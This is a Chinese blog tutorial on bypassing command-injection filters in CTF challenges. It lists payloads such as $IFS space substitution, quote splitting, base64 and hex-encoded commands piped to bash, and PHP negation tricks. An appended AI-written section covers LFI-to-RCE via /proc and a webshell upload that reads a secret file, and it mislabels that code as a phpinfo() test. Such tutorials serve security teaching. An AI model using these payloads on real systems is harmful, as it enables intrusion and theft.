命令执行 rce各种绕过技巧

本文详细介绍了命令执行漏洞的概念,成因,以及在Linux和Windows系统中的常见绕过方法,包括利用空格、特殊字符、环境变量、编码技巧、管道符等,旨在提升网络安全意识和技术防护措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

目录

命令执行漏洞简介

1. linux读取命令

2.空格

3.常见的命令执行函数

4.字符过滤

1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s

2.使用通配符? *例如:cat *.txt

3.base64,ASCII,shellcode编码绕过,例如过滤cat

4.拼接命令实现过滤例如#cat flag.php

5.使用环境变量

6.ban掉括号使用反引号实现通杀解

7.使用换行符\

8.无回显函数执行

9.未定义的初始化变量(空变量)

10.printf绕过(字符串进制绕过)

5.取反绕过

6.windows 和 linux 管道符

windows

linux



命令执行漏洞简介

命令执行漏洞就是黑客可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。

命令执行漏洞成因命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。

接下来是各种命令执行的绕过技巧

1. linux读取命令

cat
tac tac命令的功能是用于反向显示文件内容.也就是说,当我们使用tac命令查看文件内容时,最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。
head head命令的功能是显示文件开头的内容,默认为前10行。
more
less
tail
od od命令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
nl
uniq
sort
rev

2.空格

` 1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`

`2.${IFS},$IFS$9,$IFS

${IFS}:

$IFS$9:

`3.控制字符代替,%09(tab),%0a`

`4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}

3.常见的命令执行函数

system():执行外部函数,并且显示输出

passthru():执行外部程序并且显示原始输出

shell_exec(): 通过shell执行命令并将完整的输出以字符串的方式返回

exec():执行外部函数:
针对exec()无回显函数,可以执行ls /|tee 1.txt,将内容保存到1.txt中,然后访问

4.字符过滤

1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s
 


2.使用通配符? *例如:cat *.txt
 

3.base64,ASCII,shellcode编码绕过,例如过滤cat

base64:
echo t|base64,将t转为base64编码
ca$(echo 'dAo'|base64 -d) 1.txt



ACSII码:
import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
echo "74616320666c61672e706870" |xxd -r -p|bash
?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');

shellcode:
例如: echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74"|bash
`(echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74")`,反引号执行()里的命令

4.拼接命令实现过滤例如#cat flag.php

a=ca;b=t;m=flag;n=.php;$a$b $m$n


5.使用环境变量
6.ban掉括号使用反引号实现通杀解

cat `echo `1.txt``

echo `1.txt`|base64
cat `echo 'MSS0eHQK'|base64 -d`


7.使用换行符\

例如执行命令 ca\t 1.t\xt

8.无回显函数执行

使用延时函数,例如ls|sleep 3

9.未定义的初始化变量(空变量)

cat 1.t${x}xt

10.printf绕过(字符串进制绕过

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

5.取反绕过

php代码:
<?php
echo urlencode(~"system");
print("\n");
echo urlencode(~"cat /f*");

6.windows 和 linux 管道符

windows

| 直接执行后面的命令。
|| 前面执行的命令执行出错才执行后面的语句。
& 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。)
&& 前面语句为真才能执行后面的语句。

linux

Linux系统支持的管道符:
| 显示后面语句的执行结果。

fig:


; 执行完前面的语句再执行后面的。
|| 前面语句执行错误才执行后面的语句。
& 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。)

&& 前面的语句为真才能执行后面的语句。

fig:

### RCE Bypass Techniques and Methods RCE(远程代码执行)漏洞通常涉及攻击者通过某种方式上传恶意脚本或利用已有的文件读取功能来实现命令执行。以下是几种常见的绕过技术以及如何利用这些技术的方法。 #### 利用 `/proc` 实现 LFI 至 RCE 的高级方法 一种有效的策略是从本地文件包含(LFI)升级到远程代码执行(RCE)。这可以通过 Linux 系统中的特殊文件路径 `/proc/self/environ` 或其他类似的动态链接器配置文件完成。这种方法允许攻击者注入自定义环境变量并触发其执行[^1]。 例如,在某些情况下,如果应用程序存在未过滤的 `include()` 函数调用,则可以尝试加载如下路径: ```php /proc/self/fd/<file_descriptor> ``` 此路径指向当前进程打开的标准输入流或其他文件描述符的内容。当成功访问该位置时,可进一步探索是否存在交互式会话或者临时存储区域供我们写入任意 PHP 脚本来达成最终目标——即获得 shell 访问权限。 #### Web Shell Upload Example 另一个常见场景是在拥有文件操作能力的情况下直接部署 webshell 文件。假设有一个实验室环境中提供了这样的入口点: ```html <form action="/upload.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> ``` 此时可通过构造特制 payload 来测试服务器端处理逻辑是否安全可靠。比如下面这段简单的 phpinfo() 测试代码片段可能被用来确认基本运行状况之后再替换为更复杂的控制指令集[^2]: ```php <?php echo file_get_contents('/home/carlos/secret'); ?> ``` 上述例子展示了如何提取特定目录下的敏感数据作为初步验证手段之一;然而实际应用过程中还需要考虑更多因素如编码转换、字符转义等问题以免遭到防御机制拦截失败告终。 #### General Resources on Exploitation Strategies 对于希望深入研究各种类型的 rce 技巧的人来说,《Bug Bounty Reference》文档集合提供了一个很好的起点[^3]。它不仅涵盖了基础理论知识还列举了许多实战案例分析帮助读者更好地理解整个过程及其背后原理。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值